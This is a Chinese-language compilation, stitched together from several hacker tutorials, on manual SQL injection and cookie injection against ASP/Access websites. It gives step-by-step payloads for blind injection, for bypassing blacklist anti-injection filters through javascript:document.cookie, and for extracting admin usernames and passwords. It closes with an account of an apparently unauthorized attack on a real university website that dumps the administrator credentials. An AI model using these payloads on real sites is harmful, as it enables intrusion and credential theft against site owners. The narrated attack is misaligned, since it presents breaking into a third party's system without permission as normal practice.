纯手工cookie注入
- 格式:doc
- 大小:301.00 KB
- 文档页数:4
网站防注入别忘了cookie注入经过几年的注入攻击的洗礼,现在即使一般小企业的网站也做了防注入,但有一种注入叫cookie注入,由于它利用了网站程序一般很少使用但确实可用的获取参数的方法,很多网站程序的作者往往忽略了防范cookie注入,给网站的安全带来极大危害。
下面我还是通过一个例子说明cookie注入的危害。
我收藏了一款存在cookie注入漏洞的ASP网站程序―宜昌电脑网络公司v2.8版,它存在的注入漏洞比较经典,就用它来演示cookie注入漏洞了。
发现漏洞我把宜昌电脑网络公司v2.8版在虚拟机里用IIS运行了起来,网站访问地址为http://127.0.0.1/ ,如图1。
在“常见故障”栏目中点开一篇名为“夏普复印机特殊故障代码的复位方法”的文章,在浏览器中显示的地址为http://127.0.0.1/news_more.asp?id=1093,如图2。
在这个地址后面输入-0,也就是浏览器中的地址变为了http://127.0.0.1/news_more.asp?id=1093-0,回车,显示的还是“夏普复印机特殊故障代码的复位方法”这篇文章;在地址http://127.0.0.1/news_more.asp?id=1093后面输入-1,也就是浏览器中的地址变为了http://127.0.0.1/news_more.asp?id=1093-1,回车,显示的文章变为了“夏普AR1818、AR163、AR163N、AR2818垂直白线”,如图3 。
和直接访问http://127.0.0.1/news_more.asp?id=1092显示的页面相同。
也就是id后面的参数1093-1这个减法运算被执行了,推测news_more.asp在获取id参数的值时过滤不严,很可能存在注入漏洞。
是否存在普通的注入漏洞呢?在地址http://127.0.0.1/news_more.asp?id=1093后面输入空格and空格1=1(把空格换成按一下空格键),地址变为了http://127.0.0.1/news_more.asp?id=1093 and 1=1,回车后出来了防注入提示“系统提示:您进行了非法操作请不要在参数中包含非法字符尝试注入!”,如图4。
全程图解手工注入声明:原创文章,转载请指名来自华夏黑客联盟(),违者必究!回忆起刚学注入的时候,网上的教程杂乱无章,更郁闷的是。
文章被无数次转载,很多常用的命令都出现错误,导致学习的很慢,差点对手工注入失去了信心。
为了帮助初学者学习手工注入,从盲注和sql显错方式注入详细的写了图解教程,希望对初学者有帮助。
第一部分盲注过程(使用了access数据库)一、寻找注入点:使用经典的1=1 和1=2测试法输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26,显示输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and 1=1时,显示输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and 1=2时,显示发生异常,存在注入漏洞.二、判断数据库类型(一)iis允许返回错误的情况输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and user > 0,显示“Microsoft JET Database Engine (0x80040E07)标准表达式中数据类型不匹配”,表明数据库为Access。
(二)如果服务器IIS不允许返回错误,就从从Access和SQLServer和区别入手。
Access 和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26and (select count(*) from msysobjects)>0,显示如下图,由此可判断数据库类型为Access。
经典手工注入你懂的注意:对于普通的get注入,如果是字符型,前加' 后加and ''='本文整理:(第三方信息安全网)/经典手工注入你懂的拆半法######################################and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
and exists (select * from admin)and exists(select id from admin)and exists(select id from admin where id=1)and exists(select id from admin where id>1)然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围and exists (select username from admin)and exists (select password from admin)and exists (select id from admin where len(username)<10 and id=1)and exists (select id from admin where len(username)>5 and id=1)and exists (select id from admin where len(username)=6 and id=1)and exists (select id from admin where len(password)<10 and id=1)and exists (select id from admin where len(password)>5 and id=1)and exists (select id from admin where len(password)=7 and id=1)and (select top 1 asc(mid(username,1,1)) from admin)=97返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
Web攻防系列教程之 Cookie注入攻防实战2012-08-23 17:01:09摘要:随着网络安全技术的发展,SQL注入作为一种很流行的攻击方式被越来越多的人所知晓。
很多网站也都对SQL注入做了防护,许多网站管理员的做法就是添加一个防注入程序。
这时我们用常规的手段去探测网站的SQL注入漏洞时会被防注入程序阻挡,遇到这种情况我们该怎么办?难道就没有办法了吗?答案是否定的。
随着网络安全技术的发展,SQL注入作为一种很流行的攻击方式被越来越多的人所知晓。
很多网站也都对SQL注入做了防护,许多网站管理员的做法就是添加一个防注入程序。
这时我们用常规的手段去探测网站的SQL注入漏洞时会被防注入程序阻挡,遇到这种情况我们该怎么办?难道就没有办法了吗?答案是否定的。
我们知道,一般的防注入程序都是基于“黑名单”的,根据特征字符串去过滤掉一些危险的字符。
一般情况下,黑名单是不安全的,它存在被绕过的风险。
比如有的防注入程序只过滤了通过GET、POST方式提交的数据,对通过Cookie方式提交的数据却并没有过滤,这时我们该怎么办?在本文你将会找到答案。
Cookie注入原理Cookie最先是由Netscape(网景)公司提出的,Netscape官方文档中对Cookie的定义是这样的:Cookie 是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。
Cookie的用途非常广泛,在网络中经常可以见到Cookie的身影。
它通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站和电子商务网站中的“购物车”。
Cookie注入简单来说就是利用Cookie而发起的注入攻击。
从本质上来讲,Cookie注入与传统的SQL 注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。
要想深入了解Cookie注入的成因,必须要了解ASP脚本中的request对象。
它被用来获取客户端提交的数据。
POST GET与COOKIE注入原理一般的http请求不外乎get 和post两种,如果过滤掉所有post或者get请求中的参数信息中的非法字符,那么也就实现了防SQL注入。
首先定义请求中不能包含如下字符:'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare各个字符用"|"隔开,然后再判断Request.QueryString,具体代码如下:get请求的非法字符过滤:dim sql_injdataSQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare" SQL_inj = split(SQL_Injdata,"|")If Request.QueryString<>"" ThenFor Each SQL_Get In Request.QueryStringFor SQL_Data=0 To Ubound(SQL_inj)if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 ThenResponse.Write "<Script Language='javascript'>{alert('请不要在参数中包含非法字符!');history.back(-1)}</Script>"Response.endend ifnextNextEnd Ifpost请求的非法字符过滤:If Request.Form<>"" ThenFor Each Sql_Post In Request.FormFor SQL_Data=0 To Ubound(SQL_inj)if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 ThenResponse.Write "<Script Language='javascript'>{alert('请不要在参数中包含非法字符!');history.back(-1)}</Script>"Response.endend ifnextnextend if然后在使用的时候将这两段代码放在数据库连接的文件里一起Include进来即可。
/Article/200906/39180.html
暗组zachary
大学快毕业了,想起高考时想填的一个学校,由于高考考的比较差,只超过二本十多分,只能往二本中靠低的学校填。
首先踩点,打开google输入:site:XXXXXX inurl:asp?id= 搜出很多链接,随便打开了一个,在后面加上单引号,提示如图一所示
明显做了防注入过滤。
按照我一般的思路是:首先是检查是否有注入点,不行就检查cookie 注入,再不行就找别的突破点。
清空地址栏,输入:javascript:alert(document.cookie=”id=”+escape(“1556 and 1=1”)),然后去掉?id=1556输入/list.asp,返回正常,得到页面如图二所示:
再清空地址栏,输入:javascript:alert(document.cookie=“id=”+escape(“1556 and 1=2”))回车,然后输入:/list.asp,得到页面如图三所示
页面二与页面三明显存在不同,是存在cookie注入的。
现在来获取账号密码。
首先利用order by进行字段数查询。
输入:javascrip:alert(document.Cookie=“id=”+escape(“1556 order by 10”)),返回正常页面,这说明字段数大于10,经过几次猜解,确定字段数为30。
开始猜表名:输入:javascript:alert(document.cookie=“id=”+escape(“1556 and 1=2 select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,,27,28,29,30 from admin”))回车,再次输入/list.asp得到页面,并把可显示的字段显示出来了,如图四所示:
开始猜字段名:清空地址栏输入:javascript:alert(document.cookie=“id=”+escape(“1556 and 1=2 select
1,2,3,4,5,6,7,8,9,10,11,12,username ,password,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from admin”)回车,清空地址栏输入:/list.asp,得到如图五所示的页面
这样就把管理员的账号密码爆出来了,登入后台,发现后台的功能太少了,可利用的地方几乎没有。
最后没得拿到shell。
后台页面如图。